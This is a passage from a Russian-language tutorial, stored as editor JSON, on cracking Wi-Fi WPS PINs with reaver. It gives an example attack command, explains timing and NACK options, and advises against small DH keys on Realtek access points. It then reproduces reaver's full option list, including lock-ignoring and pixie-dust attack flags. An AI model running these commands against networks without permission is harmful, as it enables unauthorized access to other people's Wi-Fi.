неудачно по многим причинам, поэтому для более подробного вывода, чтобы определить, в чём проблема, используются опции -v, -vv или -vvv. Как можно догадаться, чем больше букв v, тем больше будет выведено подробной информации.","type":"unstyled","key":"9o00d"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":6,"offset":20,"style":"BOLD"},{"length":2,"offset":149,"style":"BOLD"}],"text":"При полном переборе reaver показывает но только WPS но пароль доступа к WiFi. для получения пароля Wi-Fi сети вам нужно в Reaver использовать опцию -p, после которой указать известный ПИН.","type":"unstyled","key":"4d1lb"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":8,"offset":71,"style":"BOLD"}],"text":"Если будут какие то проблемы можно поиграть с дополнительными опциями reaver , например так :","type":"unstyled","key":"ce8cc"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":54,"offset":0,"style":"BOLD"}],"text":"reaver -i wlan0mon -c 6 -a MAC —no-nacks -T .5 -d 15","type":"unstyled","key":"59j3l"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":9,"offset":0,"style":"BOLD"}],"text":"—no-nacks Не отправлять сообщения NACK когда получены пакеты о неисправности.","type":"unstyled","key":"nt1n"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":6,"offset":0,"style":"BOLD"}],"text":"-c < > Номер канала точки доступа.","type":"unstyled","key":"b9llv"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":6,"offset":0,"style":"BOLD"}],"text":"-T < > Установить период таймаута M5/M7 по умолчанию [0.20].","type":"unstyled","key":"52is3"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":6,"offset":0,"style":"BOLD"}],"text":"-d < > Установить задержку между попытками пина, по умолчанию [1]","type":"unstyled","key":"abd8c"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":6,"offset":0,"style":"BOLD"}],"text":"-x < > Установить время для паузы после 10 неожиданных неудач, по умолчанию [0].","type":"unstyled","key":"c5var"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"*Особая заметка: если вы атакуете ТД Realtek, НЕ используйте малые ключи DH (-S)","type":"unstyled","key":"ai0fp"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Полный список опций:","type":"unstyled","key":"actqp"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Copyright (c) 2011, Tactical Network Solutions, Craig Heffner \n\nRequired Arguments:\n\t-i, --interface= Name of the monitor-mode interface to use\n\t-b, --bssid= BSSID of the target AP\n\nOptional Arguments:\n\t-m, --mac= MAC of the host system\n\t-e, --essid= ESSID of the target AP\n\t-c, --channel= Set the 802.11 channel for the interface (implies -f)\n\t-s, --session= Restore a previous session file\n\t-C, --exec= Execute the supplied command upon successful pin recovery\n\t-f, --fixed Disable channel hopping\n\t-5, --5ghz Use 5GHz 802.11 channels\n\t-v, --verbose Display non-critical warnings (-vv or -vvv for more)\n\t-q, --quiet Only display critical messages\n\t-h, --help Show help\n\nAdvanced Options:\n\t-p, --pin= Use the specified pin (may be arbitrary string or 4/8 digit WPS pin)\n\t-d, --delay= Set the delay between pin attempts [1]\n\t-l, --lock-delay= Set the time to wait if the AP locks WPS pin attempts [60]\n\t-g, --max-attempts= Quit after num pin attempts\n\t-x, --fail-wait= Set the time to sleep after 10 unexpected failures [0]\n\t-r, --recurring-delay= Sleep for y seconds every x pin attempts\n\t-t, --timeout= Set the receive timeout period [10]\n\t-T, --m57-timeout= Set the M5/M7 timeout period [0.40]\n\t-A, --no-associate Do not associate with the AP (association must be done by another application)\n\t-N, --no-nacks Do not send NACK messages when out of order packets are received\n\t-S, --dh-small Use small DH keys to improve crack speed\n\t-L, --ignore-locks Ignore locked state reported by the target AP\n\t-E, --eap-terminate Terminate each WPS session with an EAP FAIL packet\n\t-J, --timeout-is-nack Treat timeout as NACK (DIR-300/320)\n\t-F, --ignore-fcs Ignore frame checksum errors\n\t-w, --win7 Mimic a Windows 7 registrar [False]\n\t-K, --pixie-dust Run pixiedust attack\n\t-Z Run pixiedust attack","type":"unstyled","key":"5etnm"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"marker","key":"fWXqxSRKKVrYPBAVYcnB"}],"entityMap":{"0":{"data":{"href":"https://www.kali.org/","url":"https://www.kali.org/"},"mutability":"MUTABLE","type":"LINK"},"1":{"data":{"href":"http://www.aircrack-ng.org/","url":"http://www.aircrack-ng.org/"},"mutability":"MUTABLE","type":"LINK"}}},"mentions":[]}